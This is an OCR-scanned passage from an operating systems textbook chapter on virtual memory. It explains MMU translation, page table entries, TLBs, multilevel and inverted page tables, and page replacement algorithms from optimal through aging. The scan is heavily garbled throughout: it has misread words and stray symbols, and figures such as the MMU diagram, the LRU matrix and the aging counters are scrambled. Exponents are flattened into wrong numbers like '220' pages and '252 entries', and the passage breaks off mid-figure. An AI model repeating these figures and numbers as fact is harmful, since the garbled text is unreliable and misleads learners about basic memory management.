���ua1 address, 8196 (0010000000000100 in binary), being mapped usmg the 

MMU map of Fig. 3-9. The incoming 16-bit virtual address IS spht mto a 4-blt 

age number and a 12-bit offset. With 4 bits for the page number, we 
.
ca� have 1 6  

�ages, and with 1 2  bits for the offset, we can address all 4096 bytes withm a page. 

1 1 1 1 101010101010101010101110101 

\ I 
15 000 0 
14 000 0 
13 000 a 
12 000 0 
11 1 1 1  
10 000 
9 101 

1 
o 

Page ____ 8 1-'0"'00,-f.'0'-l 
!able 7 \--'!O"'OO��O� 

6 1-'0,,00,---\-,0," 
5 011 
4 100 
3 000 
2 110 1 � \ � ��� � _PresenV. absent bit 
Virtual page", 2 !s used 
as an mdex Into the 
page table 

1 2-blt offset 
copied directly 
from input 
10 output 

101011101010101010101010101 1 10101 

I 

Oulgoing 
physical 
address 
(24580) 

Incoming 
virtual 
address 
(8196) 

Figure 3-10. The internal operation of the MMU with 16 4�KB pages. 

The page number is used as an index into the page table, yielding the nu�b:r 
of the page frame corresponding to that virtual page. If the Present/absent bit IS 
o a trap to the operating system is caused. If the bit is 1, the page frame nux.nber 
f�und in the page table is copied to the high-order 3 bits of the

. 
outp�t reg

,
Ister, 

along with the 12-bit offset, which is copied unmodified from the mco�mg �l1rtual 
address. Together they form a IS-bit physical address. The output regIster IS then 
put onto the memory bus as the physical memory address, 
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3.3.2 Page Tables 

In a simple implementation, the mapping of virtual addresses onto physical 
addresses can be summarized as follows: the virtual address is split into a virtual 
page number (high-order bits) and an offset (low-order bits). For example, with a 
16�bit address and a 4-KB page size, the upper 4 bits could specify one of the 16  
virtual pages and the lower 1 2  bits would then specify the byte offset (0  to 4095) 
within the selected page. However a split with 3 or 5 or some other number of bits 
for the page is also possible. Different splits imply different page sizes. 

The virtual page number is used as an index into the page table to find the 
entry for that virtual page. From the page table entry, the page frame number (if 
any) is found. The page frame number is attached to the high-order end of the 
offset, replacing the virtual page number, to form a physical address that can be 
sent to the memory. 

Thus the purpose of the page table is to map virtual pages onto page frames. 
Mathematically speaking, the page table is a function, with the virtual page num
ber as argument and the physical frame number as result. Using the result of this 
function, the virtual page field in a virtual address can be replaced by a page 
frame field, thus fonning a physical memory address. 

Structure of a Page Table Entry 

Let us now tum from the structure of the page tables in the large, to the details 
of a single page table entry. The exact layout of an entry is highly machine depen
dent, but the kind of information present is roughly the same from machine to ma
chine. In Fig. 3-1 1  we give a sample page table entry. The size varies from com
puter to computer, but 32 bits is a common size. The most important field is the 
Page frame number. After all, the goal of the page mapping is to output this val
ue. Next to it we have the Present/absent bit. If this bit is 1 ,  the entry is valid and 
can be used. If it is 0, the virtual page to which the entry belongs is not currently 
in memory. Accessing a page table entry with this bit set to ° causes a page fault. 

Caching 
disabled Modified Presenf/absent 

Referenced Protection 

Page frame number 

Figure 3·11. A typical page table entry. 
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The Protection bits tell what kinds of access are permitted. In the simplest 

form, this field contains 1 bit, with 0 for read/write and 1 for re�d onl�
. 

A mo�e 

sophisticated anangement is having 3 bits. one bit each for enablmg rea mg, wnt

ing, and executing the page. . . 
The Modified and Referenced bIts keep track of page �sage .. 

W�e� a page IS 

'tten to the hardware automatically sets the Modified bIt. ThIS bIt IS of value 
- , ' h  
when the operating system decides to reclaim a page frame. If t�e page

, 
m It as 

been modified (i.e., is "dirty"), it must be written back to the disk. I� It has n�t 

been modified (Le., is «clean"), it can just be abandoned, since the dISk copy IS 

still valid. The bit is sometimes called the dirty bit, since it reflects the page's 

state. . 
The Referenced bit is set whenever a page is referenced, either for .readmg or 

writing. Its value is to help the operating system choose a page to eVIct when a 

paoe fault occurs. Pages that are not being used are better candidates than pages 

th:r are, and this bit plays an important role in several of the page replacement al

oorithms that we will study later in this chapter. 

to> Finally, the last bit allows caching to be disabled for the page. This feature is 

important for pages that map onto device registers rather than �emory. If the op

eratino system is sitting in a tight loop waiting for some I/O deVIce to .respond to a 

omm�nd it was just given, it is essential that the hardware keep fetchmg the word �rom the device, and not use an old cached copy. With this bit, caching can be 

turned off. Machines that have a separate I/O space and do not use memory map

ped 110 do not need this bit. " , ' 
Note that the disk address used to hold the page when It IS not m memory IS 

not part of the page table. The reason is simple. The page table hol�s only that 

information the hardware needs to translate a virtual address to � phYSH�al address. 

Information the operating system needs to handle page faults IS kept m software 

tables inside the operating system. The hardware does �ot need it. . . . 
Before getting into more implementation issues, it IS worth pomtl�g out agam 

that what virtual memory fundamentally does is create a new abstraction-the ad

dress space-which is an abstraction of physical memory, just as a ?rocess is an 

abstraction of the physical processor (CPU). Virtual memory can be Implemented 

by breaking the virtual address space up int� pa�es, and mapping each one onto 

some page frame of physical memory or havmg It (temporanly) u�mapped. Thus 

this chapter is basically about an abstraction created by the operatmg system and 

how that abstraction is managed. 

3.3.3 Speeding Up Paging 

We have just seen the basics of virtual memory and paging. It is now time to 

00 into more detail about possible implementations. In any paging system, two o 
major issues must be faced: 

SEC. 3.3 VIRTUAL MEMORY 193 

1. The mapping from virtual address to physical address must be fast. 
2. If the virtual address space is large, the page table will be large. 

. The first point is a consequence of the fact that the virtual-to-physical map
pmg must be done on every memory reference. All instructions must Ultimately 
come from m�m?ry. and many of them reference operands in memory as well. 
Consequentl�, It IS �ecessary to make one, two, or sometimes more page table ref
erences per InstructIOn. If. an instruction execution takes, say, 1 nsec, the page 
table

. 
lookup must be done In under 0.2 nsec to avoid having the mapping become 

a major bottleneck. 
The second point follows from the fact that all modern computers use virtual 

addresses of at least 32 bits, with 64 bits becoming increasingly common. With, 
say, a 4-KB page size, a 32-bit address space has 1 million pages, and a 64Hbit ad
d:ess space has more than you want to contemplate. With 1 million pages in the 
VIrtual address space, the page table must have 1 million entries. And remember 
that each process needs its own page table (because it has its own virtual address 
space). 

The need for. large, fast page mapping is a significant constraint on the way 
computers are b�ll

.
t. The simplest design (at least conceptually) is to have a single 

page t�ble consIst�ng of an �ay of fast hardware registers, with one entry for 
each vlrt.ual page, mdexed by VIrtual page number, as shown in Fig. 3-10.- When a 
process IS started up, the operating system loads the registers with the process' 
page table, taken from a copy kept in main memory. During process execution, no 
more memory re!e�ences are needed for the page table. The advantages of this 
meth�d are th�t It IS straightforward and requires no memory references during 
mappIng. A dIsadvantage is that it is unbearably expensive if the page table is 
large. Another is that having to load the full page table at every context switch 
hurts performance. 

At the other extreme, the page table can be entirely in main memory. All the 
ha�dwar� needs then is a single register that points to the start of the page table. 
ThIS deSIgn allows the virtual-to-physical map to be changed at a context switch 
by reloading one register. Of course, it has the disadvantage of requiring one or 
more memory references to read page table entries during the execution of each 
instruction, making it very slow. 

Translation Lookaside Buffers 

Let u� now look .at widely implemented schemes for speeding up paging and 
fo� handlmg larg� :lft�al addre�s spa�es, starting with the former. The starting 
pomt of most optImIzatIOn techmques IS that the page table is in memory. Poten
tially, thi� desig� has an enormous impact on performance_ Consider, for example, 
a �-�yte ms�ructIOn that copies one register to another. In the absence of paging, 
thIS mstructlOn makes only one memory reference, to fetch the instruction. With 
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paging, at least one additional memory referenc� Y:'ill be needed, to acc�ss the 

page table. Since execution speed is generally Imnted b!, the rate at WhICh th� 
CPU can cret instructions and data out of the memory, havmg to make two memo 

ry referen�es per memory refer�nce reduces performance by half. Under these 

conditions, no one would use pagmg. 
Computer designers have known about this problem f�r years and have come 

up with a solution. Their solution is based on the observauon that most programs 

tend to make a large number of references to a small number of pag�s, and not �e 

other way around. Thus only a small fraction of the page table entnes are heavIly 

read; the rest are barely used at alL . . 
The solution that has been devised is to eqUIp computers with a. small h�d

ware device for mapping virtual addresses to physical add:esses wIth�ut gomg 

through the page table. The device, called � �LB (Tra�slat�on Lookas�de Buff

er) or sometimes an associative memory, IS Illustrated .Ill FI�. 3-�2. �t IS usually 

inside the MMU and consists of a small number of entnes, eight In this ex�mple, 

but rarely more than 64. Each entry contains information �bout �ne page, lllclud

ing the virtual page number, a bit t�at !s set when the pag� IS modIfied, th� prot�c

tion code (read/write/execute pernusslOns), and the physIcal page fra�e 10 WhICh 

the page is located. These fields have a one-to-one corres�on�ence wIth the �elds 

in the page table, except for the virtual page num�er, �hlC? IS .not needed In the 

page table. Another bit indicates whether the entry IS valid (I.e., In use) or not. 

Valid Virtual page Modified Protection Page frame 

1 140 1 RW 31 

1 20 0 R X 38 

1 130 1 RW 29 

1 129 1 RW 62 

1 I 19 0 R X 50 

1 21 0 R X 45 

1 860 1 RW 14 

1 861 1 RW 75 

Figure 3·12. A TLB to speed up paging. 

An example that might generate the TLB of Fig. 3-12 is a process in a l�op 
that spans virtual pages 19, 20, and 21, so �hat these TLB entri:s have protectIOn 
codes for reading and executing. The mam data currently bemg . used (�ay,. an 
array being processed) are on pages 129 and 1�0. Page 140 contams the mdices 
used in the array calculations. Finally, the stack IS on pages 860 and 

.
86l-

Let us now see how the TLB functions. When a virtual address IS presented to 
the MMU for translation, the hardware first checks to see if its virtual page. nu�
ber is present in the TLB by comparing it to all the entries simultaneously (1.e., 1ll 

-,-� , ;;' 
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parallel). If a valid match is found and the access does not violate the protection 
bits, the page frame is taken directly from the TLB, without going to the page 
table. If the virtual page number is present in the TLB but the instruction is trying 
to write on a read-only page, a protection fault is generated. 

The interesting case is what happens when the virtual page number is not in 
the TLB. The MMU detects the miss and does an ordinary page table lookup. It 
then evicts one of the entries from the TLB and replaces it with the page table 
entry just looked up. Thus if that page is used again soon, the second time it will 
result in a TLB hit rather than a miss. When an entry is purged from the TLB, the 
modified bit is copied back into the page table entry in memory. The other values 
are already there, except the reference bit. When the TLB is loaded from the page 
table, all the fields are taken from memory. 

Software TLB Management 

Up until now, we have assumed that every machine with paged virtual memo
ry has page tables recognized by the hardware, plus a TLB. In this design, TLB 
management and handling TLB faults are done entirely by the MMU hardware. 
Traps to the operating system occur only when a page is not in memory. 

In the past, this assumption was true. However, many modern RISC ma
chines, including the SPARC, MIPS, and HP PA, do nearly all of this p�ge man
agement in software. On these machines, the TLB entries are explicitly loaded by 
the operating system. When a TLB miss occurs, instead of the MMU just going to 
the page tables to find and fetch the needed page reference, it just generates a 
TLB fault and tosses the problem into the lap of the operating system. The system 
must find the page, remove an entry from the TLB, enter the new one, and restart 
the instruction that faulted. And, of course, all of this must be done in a handful of 
instructions because TLB misses occur much more frequently than page faults. 

Surprisingly enough, if the TLB is reasonably large (say, 64 entries) to reduce 
the miss rate, software management of the TLB turns out to be acceptably effi
cient. The main gain here is a much simpler MMU, which frees up a considerable 
amount of area on the CPU chip for caches and other features that can improve 
perlormance. Software TLB management is discussed by Uhlig et al. (1994). 

Various strategies have been developed to improve perfonnance on machines 
that do TLB management in software. One approach attacks both reducing TLB 
misses and reducing the cost of a TLB miss when it does occur (Bala et aI., 1994). 
To reduce TLB misses, sometimes the operating system can use its intuition to 
figure out which pages are likely to be used next and to preload entries for them in 
the TLB. For example, when a client process sends a message to a server process 
on the same machine, it is very likely that the server will have to run soon. Know
ing this, while processing the trap to do the send, the system can also check to see 
where the server's code, data, and stack pages are and map them in before they 
get a chance to cause TLB faults. 
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The normal way to process a TLB miss, whether in hardware or in software, 
is to go to the page table and perform the indexing operations to locate the page 
referenced. The problem with doing this search in software is that the pages hold
ing the page table may not be in the TLB, which will cause additional TLB faults 
dming the processing. These faults can be reduced by maintaining a large (e.g., 
4-KB) software cache of TLB entries in a fixed location whose page is always 
kept in the TLB. By first checking the software cache, the operating system can 
substantially reduce TLB misses. 

When software TLB management is used, it is essential to understand the dif
ference between two kinds of misses. A soft miss occurs when the page refer
enced is not in the TLB, but is in memory. All that is needed here is for the TLB 
to be updated. No disk lIO is needed. Typically a soft miss takes 10-20 machine 
instructions to handle and can be completed in a few nanoseconds. In contrast, a 
hard miss occurs when the page itself is not in memory (and of course, also not in 
the TLB). A disk access is required to bring in the page, which takes several 
milliseconds. A hard miss is easily a million times slower than a soft miss. 

3.3.4 Page Tables for Large Memories 

TLBs can be used to speed up virtual address to physical address translation 
over the original page-table-in-memory scheme. But that is not the only problem 
we have to tackle. Another problem is how to deal with very large virtual address 
spaces. Below we will discuss two ways of dealing with them. 

Multilevel Page Tables 

As a first approach, consider the use of a multilevel page table. A simple ex
ample is shown in Fig. 3-13. In Fig. 3-13(a) we have a 32-bit virtual address that 
is partitioned into a IO-bit PT] field, a lO-bit P12 field, and a 12-bit Offset field. 
Since offsets are 12 bits, pages are 4 KB, and there are a total of 220 of them. 

The secret to the multilevel page table method is to avoid keeping all the page 
tables in memory all the time. In particular, those that are not needed should not 
be kept around. Suppose, for example, that a process needs 12 megabytes, the 
bottom 4 megabytes of memory for program text, the next 4 megabytes for data, 
and the top 4 megabytes for the stack. In between the top of the data and the bot
tom of the stack is a gigantic hole that is not used. 

In Fig. 3-13(b) we see how the two-level page table works in this example. 
On the left we have the top-level page table, with 1024 entries, corresponding to 
the lO-bit PTi field. When a virtual address is presented to the MMU, it first 
extracts the PTl field and uses this value as an index into the top-level page table. 
Each of these 1024 entries represents 4M because the entire 4-gigabyte (Le., 32-
bit) virtual address space has been chopped· into chunks of 4096 bytes. 

SEC. 3.3 

Bits 10 10 12 1 PT, I PT21 Offset 1 
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Figure 3·13. (a) A 32-bit address with two p'ge cable fields page Cables. • . (b) Two-level 
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PT 1 := 1, PT2 :::::: 2, and Offset :;::: 4. The MMU first uses PTl to index into the 
top-level page table and obtain entry 1, which corresponds to addresses 4M to 8M. 
It then uses P12 to index into the second-level page table just found and extract 
entry 3, which corresponds to addresses 12288 to 16383 within its 4M chunk (i.e., 
absolute addresses 4,206,592 to 4,210,687). This entry contains the page frame 
number of the page containing virtual address Ox00403004. If that page is not in 
memory, the Present/absent bit in the page table entry will be zero, causing a 
page fault If the page is in memory, the page frame number taken from the sec
ond-level page table is combined with the offset (4) to construct the physical ad
dress. This address is put on the bus and sent to memory. 

The interesting thing to note about Fig. 3-13 is that although the address space 
contains over a million pages, only four page tables are actually needed: the top
level table, and the' second-level tables for 0 to 4M (for the program text), 4M to 
8M (for the data), and the top 4M (for the stack). The Present/absent bits in 1021 
entries of the top-level page table are set to 0, forcing a page fault if they are ever 
accessed. Should this occur, the operating system will notice that the process is 
trying to reference memory that it is not supposed to and will take appropriate ac
tion, such as sending it a signal or killing it. In this example we have chosen 
round numbers for the various sizes and have picked PTJ equal to PT2, but in ac
tual practice other values are also possible, of course. 

The two�level page table system of Fig. 3-13 can be expanded to three, four, 
or more levels. Additional levels give more fleXibility, but it is doubtful that the 
additional complexity is worth it beyond three levels. 

Inverted Page Tables 

For 32-bit virtual address spaces, the multilevel page table works reasonably 
welL However, as 64-bit computers become more common, the situation changes 
drastically. If the address space is now 264 bytes, with 4-KB pages, we need a 
page table with 252 entries. If each entry is 8 bytes, the table is over 30 million 
gigabytes (30 PB). Tying up 30 million gigabytes just for the page table is not a 
good idea, not now and probably not next year either. Consequently, a different 
solution is needed for 64-bit paged virtual address spaces. 

One such solution is the inverted page table. In this design, there is one 
entry per page frame in real memory, rather than one entry per page of virtual ad
dress space. For example, with 64-bit virtual addresses, a 4-KB page, and I GB of 
RAM, an inverted page table only requires 262,144 entries. The entry keeps track 
of which (process, virtual page) is located in the page frame. 

Although inverted page tables save vast amounts of space, at least when the 
virtual address space is much larger than the physical memory, they have a seri
ous downside: virtual-to-physical translation becomes much harder. When process 
n references virtual page p, the hardware can no longer find the physical page by 
using p as an index into the page table. Instead, it must search the entire inverted 

SEC. 3.3 VIRTUAL MEMORY 199 

page table for an entry. (n, p). Furthermore, this search must be done �n every 
memory refer�nce, not Just on page faults. Searching a 256K table on every mem
ory reference IS not the way to make your machine blindingly fast. 

The way out of this dilemma is to use the TLB. If the TLB can hold all of the heavily used pages, translation. can happen just as fast as with
"regular page tables. 

On a TLB mlSS, hmyever, the mverted page table has to be searched in software. 
One feasible way to accomplish this search is to have a hash table hashed on the 
virtual address. All the virtual pages currently in memory that h�ve the same hash 
value are chaine� together, a� shown in Fig. 3-14. If the hash table has as many 
slots as the machm� has phYSICal pages, the average chain will be only one entry 
long, greatly speedmg up the mapping. Once the page frame number has been 
fOllnd, the new (virtual, physical) pair is entered into the TLB. 

Traditional page 
table with an entry 
for each of the 252 
pages 

2"-'..[ 1 

111111 
1-GB physical 
memory has 218 
4·KB page frames 

o t 2"] t 
Indexed 
by virtual 
page 

Hash table 
218 �1L � '"�!� by hash on Virtual Page 
virtual page page frame 

Figure 3-14. Comparison of a traditional page table with an inverted page table. 

Inverted page tables are common on 64-bit machines because even with a 
v�ry large page size, the n�m�er of page table entries is enOnnOllS. For example, 
WIth 4-MB pages and 64-blt VIrtual addresses, 242 page table entries are needed. 
Other approaches to handling large virtual memories can be found in Talluri et a1. 
(1995). 

3.4 PAGE REPLACEMENT ALGORITHMS 

When a page fault occurs, the operating system has to choose a page to evict 
(remove from memory) to make room for the incoming page. If the pao-e to be re
moved has been modified while in memory, it must be rewritten to fue disk to 
bring the disk copy up to date. If, however, the page has not been changed (e.g., it 
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contains program text), the disk copy is already up t� date,. so no rewrite is need-

ed. The page to be read in just overwrites the page bemg eVl�ted. 
u 

While it would be possible to pick a random page to eVIct at eac� paee fault, 

system performance is much better if a page that is not heavily used IS c�osen: If 

a heavily used page is removed, it will probably have to be brought ba�k m qmck

ly, resulting in extra overhead. Much work has been done on the subject of pa�e 

replacement algorithms, both theoretic�l and experimenta1. Below we wIll 

describe some of the most important algonthms. . 
It is worth noting that the problem of "page replacement" occurs III other 

areas of computer design as well. For example, most computers have one or more 

memory caches consisting of recently used 32-byte or 64-byte me�ory block�. 

When the cache is fun, some block has to be chosen for removal. ThIs problem IS 

precisely the same as page replacement except on 
.
a shorter time scale (It has to be 

done in a few nanoseconds, not milliseconds as wIth page replacement). The re�

son for the shorter time scale is that cache block misses are satisfied from maIn 

memory, which has no seek time and no rotational latency. . 
A second example is in a Web server. The server can keep a certam number 

of heavily used Web pages in its memory cac�e: However, when the :nemory 

cache is full and a new page is referenced, a deClsIOn has to be made WhiCh Web 

page to evict. The considerations are similar to pages of virtual mem0I?" except 

for the fact that the Web pages are never modified in the cac?e, s� there IS always 

a fresh copy "on disk." In a virtual memory system, pages m mam memory may 

be either clean or dirty. . . 
In all the page replacement algorithms to be studied. 

below, a certam Issue 

arises: when a page is to be evicted from memory, do�s It have to be one 0; the 

faulting process' own pages, or can it ?e
. 
� page belongmg to another process. In 

the former case, we are effectively hmltmg each process to a �xed number of 

pages; in the latter case we are not. Both are possibilities. We WIn come back to 

this point in Sec. 3-5.1. 

3.4.1 The Optimal Page Replacement Algorithm 

The best possible page replacement algorithm is easy to describe but impossi

ble to implement. It goes like this. At the moment that a page fault occurs, some 

set of pages is in memory. One of these pages will be referenced on the very next 

instruction (the page containing that instruction). Other pages may not be refer

enced until 10, 100, or perhaps 1000 instructions later. Each page can .be labeled 

with the number of instructions that will be executed before that page IS first ref-

erenced. . th 
. 

h 
The optimal page replacement algorithm says that the page. "':'lth . e hig. est 

label should be removed. If one page will not be used for 8 ml111�n mstructlOns 

and another page will not be used for 6 million instructions, removmg the fonner 
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pushes the page fault that will fetch it back as far into the future as possible. Com
puters, like people, try to put off unpleasant events for as long as they can. 

The only problem with this algorithm is that it is unrealizable. At the time of 
the pag� fault, the operating system has no way of knowing when each of the 
pages wIll be referenced next. (We saw a similar situation earlier with the shor
test job �rst sched�ling algorithm-how can the system tell which job is shor
test?) S�ll,. by run

.
nmg a program on a simulator and keeping track of all page ref

erences, It IS possIble to implement optimal page replacement on the second run 
by using the page reference information collected during- the first run. 

. In this way it !s possible to compare the performance of realizable algorithms 
WIth the best possIble one. If an operating system achieves a performance of, say, 
onl� 1 % v:ors� than the optimal algorithm, effort spent in looking for a better al
gonthm WIll YIeld at most a 1 %.improvement. 

To avoid any possible confusion, it should be made clear that this log of page 
refer

.
enc�s refers only to the one program just measured and then with only one 

specIfic mput. The page replacement algorithm derived from it is thus specific to 
that one program and input data. Although this method is useful for evaluating 
page replacement algorithms, it is of no use in practical systems. Below we will 
study algorithms that are useful on real systems. 

3.4.2 The Not Recently Used Page Replacement Algorithm 

In order to all�w the operating system to collect useful page usage statistics, 
most computers WIth virtual memory have two status bits associated with each 
page. R is set whenever the page is referenced (read or written). M is set when 
the page is written to (i.e., modified). The bits are contained in each page table 
entry, as shown in Fig. 3-1 1 .  It is important to realize that these bits must be 
updated on every memory reference, so it is essential that they be set by the hard
ware. Once a bit has been set to 1 ,  it stays 1 until the operating system reSets it. 

If the hardware does _ not have these bits, they can be simulated as follows. 
When a process is started up, all of its page table entries are marked as not in 
�emory. As soon as any page is referenced, a page fault will occur. The operat
mg s�stem then sets the R bit

.
(in its internal tables), changes the page table entry 

to pomt to the correct page, WIth mode READ ONLY, and restarts the instruction. 
If the page is subsequently modified, another page fault will occur, allowing the 
operatmg system to set the M bit and change the page's mode to READIWRITE. 

The R and M bits can be used to build a simple paging algorithm as follows. 
Wh�n a process is �ta�ed up, both page bits for all its pages are set to 0 by the op
eratmg system. Penodlcally (e.g., on each clock interrupt), the R bit is cleared to 
distinguish pages that have not been referenced recently from those that h�ve 
been. 

. . When a �age fault occurs, the operating system inspects aU the pages and 
diVIdes them mto 4 categories based on the current values of their R and M bits: 
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Class 0: not referenced, not modified. 
Class 1: not referenced, modified. 
Class 2: referenced, not modified. 
Class 3: referenced, modified. 

CHAP. 3 

Although class 1 pages seem, at first glance, impossible, they occur when a class 
3 page has its R bit cleared by a clock interrupt. Clock interrupts do not clear the 
M bit because this information is needed to know whether the page has to be 
rewritten to disk or not. Clearing R but not M leads to a class 1 page. 

The NRU (Not Recently Used) algorithm removes a page
. 
at ran?om from

.
t�e 

lowest-numbered nonempty class. Implicit in this algorithm �s the idea that It IS 
better to remove a modified page that has not been referenced In at least one clo�k 
tick (typically about 20 msec) than a clean page that is in heavy �se. Th� mam 
attraction of NRU is that it is easy to understand, moderately effICIent to Imple
ment, and gives a performance that, while certainly not optimal, may be adequate. 

3.4.3 The First-In, First-Out (FIFO) Page Replacement Algorithm 

Another low-overhead paging algorithm is the FIFO (First�In, First-Out) al
gorithm. To illustrate how this works, consider a supermarket that has e�ough 
shelves to display exactly k different products. One day, some company mtro
duces a new convenience food-instant, freeze-dried, organic yogurt that can be 
reconstituted in a microwave oven. It is an immediate success, so our finite su-
permarket has to get rid of one old product in order to stock it. . 

One possibility is to find the product that the supermarket has �een �tocking 
the longest (i.e., something it began selling 120 years ago) and get nd of �t o� the 

grounds that no one is interested any more. In effect, the supermarket I?amtams a 
linked list of all the products it currently sells in the order they we:e �ntroduced . 
The new one goes on the back of the list; the one at the front of the list IS dropp�d. 

As a page replacement algorithm, the same idea is applic�ble. The operatmg 
system maintains a list of all pages currently in memory, with the most recent 
arrival at the tail and the least recent arrival at the head. On a page fault, the page 
at the head is removed and the new page added to the tail of the list. When applied 
to stores, FIFO might remove mustache wax, but it might al�o remove �our, salt, 
or butter. When applied to computers the same problem anses. For thIS reason, 

FIFO in its pure fonn is rarely used. 

3.4.4 The Second-Chance Page Replacement Algorithm 

A simple modification to FIFO that avoids the problem �f 
.
throwing out 

.
a 

heavily used page is to inspect the R bit of the oldest page. If It
. 
IS

. 
0, the pa�e �s 

both old and unused, so it is replaced immediately. If the R bIt IS 1, the
. 
bIt �s 

cleared, the page is put onto the end of the list of pages, and its �oad time IS 
updated as though it had just arrived in memory. Then the search continues. 
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The operation of this algorithm, called second chance, is shown in Fig. 3-15. 
In Fig. 3-15(a) we see pages A through H kept on a linked list and sorted by the 
time they arrived in memory. 

(a) 

7 8 14 

(b) 

18 

8 Most recently 1 / loaded page 
H 

A is treated like a 20 / newly loaded page 
A 

Figure 3�lS. Operation of second chance. (a) Pages sorted in FIFO order. (b) 
Page list if a page fault occurs at time 20 and A has its R bit set. The numbers 
above the pages are their load times. 

Suppose that a page fault occurs at time 20. The oldest page is A, which 
arrived at time 0, when the process started. If A has the R bit cleared, it is evicted 
from memory, either by being written to the disk (if it is dirty), or just abandoned 
(if it is clean). On the other hand, if the R bit is set, A is put onto the end of the 
list and its "load time" is reset to the current time (20). The R bit is also cleared. 
The search for a suitable page continues with B. 

What second chance is looking for is an old page that has not been referenced 
in the most recent clock interval. If all the pages have been referenced, second 
chance degenerates into pure FIFO. Specifically, imagine that all the pages in 
Fig. 3-l5(a) have their R bits set. One by one, the operating system mOves the 
pages to the end of the list, clearing the R bit each time it appends a page to the 
end of the list. Eventually, it comes back to page A, which now has its R bit 
cleared. At this point A is evicted. Thus the algorithm always tenninates. 

3.4.5 The Clock Page Replacement Algorithm 

Although second chance is a reasonable algorithm, it is unnecessarily ineffi� 
cient because it is constantly moving pages around on its list. A better approach 
is to keep all the page frames on a circular list in the form of a clock, as shown in 
Fig. 3-16. The hand points to the oldest page. 

When a page fault occurs, the page being pointed to bi the hand is inspected. 
If its R bit is 0, the page is evicted, the new page is inserted into the clock in its 
place, and the hand is advanced one position. If R is l ,  it is cleared and the hand 
is advanced to the next page. This process is repeated until a page is found with 
R == O. Not surprisingly, this algorithm is called clock. 
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When a page fault occurs, 
the page the hand is 
pointing to is inspected. 
The action taken depends 
on the R bit: 

R "'-0: Evict the page 

CHAP. 3 

R "" 1: Clear R and advance hand 

Figure 3416. The clock page replacement algorithm. 

3.4.6 The Least Recently Used (LRU) Page Replacement Algorithm 

A good approximation to the optimal algorithm !s base� on t�e observation 
that pages that have been heavily used in the last few Instructions wIll probably be 
heavily used again in the next few. Conversel�, pages

.
th�t have not been us�d for 

ao-es will probably remain unused for a long time. ThIS Idea suggests a realIzable 
algorithm: when a page fault occurs, throw out the page that has been u�used for 
the longest time. This strategy is called LRU (Least Recently Used) pa?mg. 

AlthouO"h LRU is theoretically realizable, it is not cheap. To fully Implement 
LRU, it is 

b
necessary to maintain a linked list of all pages in memory. with the 

most recently used page at the front and the least recently used page at the r
.
ear. 

The difficulty is that the list must be updated on every memory referenc�. Fmd
ing a page in the list, deleting it. and then moving it to the front is a very tIme �on
suming operation, even in hardware (assuming that such �ardwar� could be bUllt). 

However, there are other ways to implement LRU WIth specIal hardware. Let 
us consider the simplest way first. This method requires equipping th� hardv.:are 
with a 64-bit counter, C, that is automatically incremented after each Instruction. 
Furthermore each page table entry must also have a field large enough to contain 
the counter. 

'
After each memory reference, the current value of C is stored in the 

page table entry for the page just referenced. When a page fault occurs. the oper
ating system examines all the counters in the page table to find the lowest one. 
That parre is the least recently used. 

No; let us look at a second hardware LRU algorithm. For a machine with n 
page frames, the LRU hardware can maintain a matrix of n x n bits, initial�y all 
zero. Whenever page frame k is referenced, the hardware first sets a� the bIts of 
row k to 1, then sets all the bits of column k to O. At any instant of tmle, the ro:-" 
whose binary value is lowest is the least recently used, the row whose value IS 
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�ext lowes� is �ext 
.
least recently used, and so forth. The workings of this algo

nthm are gIven m FIg. 3-17 for four page frames and page references in the order 

0 1 2 3 2 1 0 3 2 3 

After page 0 is referenced, we have the situation of Fig. 3-17(a). 
referenced, we have the situation of Fig. 3-17(b), and so forth. 

0 
1 
2 
3 

Page o 1 2 3 

0 1 1 1 
0 0 0 0 
0 0 0 0 
0 0 0 0 

(a) 

0 0 0 0 
1 0 1 1 
1 0 0 1 
1 0 0 0 

(D 

Page o 1 2 3 

0 0 1 1 
1 0 1 1 
0 0 0 0 
0 0 0 0 

(b) 

0 1 1 1 
0 0 1 1 
0 0 0 1 
0 0 0 0 

(9) 

Page o 1 2 3 

0 0 0 1 
1 0 0 1 
1 1 0 1 
0 0 0 0 

(e) 

0 1 1 0 
0 0 1 0 
0 0 0 0 
1 1 1 0 

(h) 

Page o 1 2 3 

0 0 0 0 
1 I 0 0 0 
1 1 0 0 
1 1 1 0 

(d) 

0 1 0 0 
0 0 0 0 
1 1 0 1 
1 1 0 0 

(i) 

After page 1 is 

Page o 1 2 3 

0 0 0 0 
1 0 0 0 
1 1 0 1 
1 1 0 0 

(e) 

0 1 0 0 
0 0 0 0 
1 1 0 0 
1 " 1 0 

v) 
Figure 3*17. LRU using a matrix when pages are referenced in the order 0, 1, 
2. 3, 2, 1,0, 3.2. 3. 

3.4.7 Simulating LRU in Software 

�lthough bot� of the previous LRU algorithms are (in principle) realizable, 
few, If any, machmes have the required hardware. Instead, a solution that can be 
implemented in software is needed. One possibility is called the NFU (Not Fre
quently Used) algorithm. It requires a software counter associated with each 
page, �nitially zero. At each clock interrupt, the operating system scans all the 
pages In memory. For each page, the R bit, which is 0 or 1 ,  is added to the count
er. The counters roughly keep track of how often each page has been referenced. 
When a page fault occurs, the page with the lowest counter is chosen for replace
ment. 

Th
.
e main pro?lem with NFU is that it never forgets anything. For example, in 

a
.
multlpass cOffi?Iler, pages that were heavily used during pass 1 may still have a 

hIgh count well mto later passes. In fact, if pass 1 happens to have the lonrrest ex
ecution time of all the passes, the pages containing the code for subsequen� passes 
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may always have lower counts than the pass 1 pages. Consequently, the operating 
system will remove useful pages instead of pages no longer: in use. 

Fortunately, a small modification to NFU makes it able to simulate LRU quite 
welL The modification has two parts. First, the counters are each shifted right 1 
bit before the R bit is added in. Second, the R bit is added to the leftmost rather 
than the rightmost biL 

Fic-ure 3�18 illustrates how the modified algorithm, known as aging, works. 
Suppo�e that after the first clock tick the R bits for pages 0 to 5 have the values 1, 
0, 1, 0, 1, and 1, respectively (page 0 is 1, page 1 is 0, page 2 is 1 , etc.). In other 
words, between tick 0 and tick 1 , pages 0, 2, 4, and 5 were referenced, setting 
their R bits to 1, while the other ones remain O. After the six corresponding count� 
ers have been shifted and the R bit inserted at the left, they have the values shown 
in Fig. 3-18(a). The four remaining columns show the six counters after the next 
four clock ticks. 

R bits for R bits for Rbitsfor R bils for R bits for 
pages 0-5, 
clock tick 2 

pages 0-5, pages 0-5, 
clock tick 0 clock tick 1 

pages 0-5, pages 0-5, 
clock tick 3 clock tick 4 

1' 101' 101' 1 ' 1 1 ' 1 ' 10101 ' 101 1 ' 1 ' 101' 101' 1 1 ' 1010101' 1 01 101 ' 1 ' 1010101 

